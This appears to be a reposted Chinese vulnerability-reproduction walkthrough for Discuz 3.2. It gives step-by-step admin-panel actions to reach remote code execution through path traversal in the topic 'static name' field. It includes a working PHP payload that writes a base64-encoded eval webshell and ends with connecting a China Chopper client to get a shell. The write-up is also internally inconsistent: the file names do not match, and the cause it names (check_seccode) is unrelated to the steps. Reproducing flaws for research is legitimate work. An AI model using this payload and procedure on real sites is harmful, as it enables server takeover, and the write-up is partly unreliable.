*文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
Discuz3.2漏洞文件包含漏洞复现,由于创建专题时未对 ,静态化名称,做任何限制引发此漏洞问题,问题出在代码中的函数check_seccode(),该函数在/source/class/helper/helper_seccheck.php中,作用是检查验证码是否正确。在后台的防灌水功能中可以设置验证码类型,对应的变量是$_G[‘setting‘][‘seccodedata‘][‘type‘],该值在进入数据库前未做安全检查。check_seccode()取出该值时也没有检查是否合法,导致漏洞产生。
一、环境搭建
1,下载源码,解压到phpstudy的网站根目录,浏览器访问网站,点击同意,开始安装
2,自行设置好网站管理员账号,密码,数据库信息等,安装即可
3,等待安装完成,即可
4,安装完成
二、漏洞复现
1,本次复现漏洞是在网站后台管理界面,所以需要登录后台,浏览器访问搭建的论坛的admin.php后台界面,输入安装时候设置的管理员账号,密码,提交登录进入管理后台
2,点击,全局,站点信息,在网站URL后边加入poc,#<?php file_put_contents(‘0.php‘,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=‘));?>,点击提交
3,点击,进入工具页面,更新缓存,确定更新缓存,等待更新完成
4,点击,门户,生成HTML选择是, 静态文件扩展名一定改成htm的,专题存放目录选择data/cache,点击提交
5,还是 门户界面,选择 专题管理
6,点击 创建专题,专题标题输入任意都行,静态化名称没有做任何限制,要输入,../../template/default/portal/portal_topic_test,还要勾选 站点尾部信息,之后点击提交
7,返回专题管理界面, 勾选新创建的专题,选择开启,提交,开启之后,才能选择 生成
8,重新点击创建专题,专题标题一样随便写,静态化名称也是随便写,模版名一定要选择之前新创建的模版,点击提交
9,进入网站根目录,会发现脚本执行成功,生成了一个shell.php脚本
10,菜刀连接url,成功getshell
完
原文地址:https://www.cnblogs.com/sym945/p/11845394.html